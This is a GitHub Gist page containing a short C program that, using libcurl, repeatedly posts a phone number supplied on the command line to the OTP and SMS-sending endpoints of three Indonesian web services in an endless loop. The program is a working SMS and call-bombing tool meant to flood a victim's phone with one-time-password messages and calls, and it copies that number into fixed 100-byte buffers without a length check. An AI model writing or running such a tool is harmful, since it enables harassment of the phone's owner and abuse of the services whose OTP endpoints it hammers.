Created
October 4, 2018 18:48
-
-
Save Cvar1984/dc219a45f46f72f136a7573a8fa541e3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| #include <curl/curl.h> | |
| int main(int argc, char *argv[]) | |
| { | |
| if(argc != 2) { | |
| fprintf(stderr,"Usage : %s <number phone>\n",argv[0]); | |
| exit(1); | |
| } | |
| void post(char url[], char data[]) | |
| { | |
| CURL *curl; | |
| CURLcode res; | |
| curl = curl_easy_init(); | |
| if(curl) { | |
| curl_easy_setopt(curl, CURLOPT_URL, url); | |
| curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data); | |
| curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(data)); | |
| curl_easy_setopt(curl, CURLOPT_NOBODY, 1); | |
| res = curl_easy_perform(curl); | |
| if(res != CURLE_OK) { | |
| fprintf(stderr, "curl_easy_perform() failed: %s\n",curl_easy_strerror(res)); | |
| exit(1); | |
| } | |
| curl_easy_cleanup(curl); | |
| } | |
| } | |
| char no1[100]; | |
| strcpy(no1,"msisdn="); | |
| strcat(no1,argv[1]); | |
| strcat(no1,"&accept=call"); | |
| char no2[100]; | |
| strcpy(no2,"phone="); | |
| strcat(no2,argv[1]); | |
| strcat(no2,"&smsType=1"); | |
| char no3[100]; | |
| strcpy(no3,"phone_number="); | |
| strcat(no3,argv[1]); | |
| while(1) { | |
| printf("Send OTP to %s\n",argv[1]); | |
| post("https://www.tokocash.com/oauth/otp",no1); | |
| printf("Send OTP to %s\n",argv[1]); | |
| post("http://sc.jd.id/phone/sendPhoneSms",no2); | |
| printf("Send OTP to %s\n",argv[1]); | |
| post("https://www.phd.co.id/en/users/sendOTP",no3); | |
| } | |
| return 0; | |
| } | |
| //static const char |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment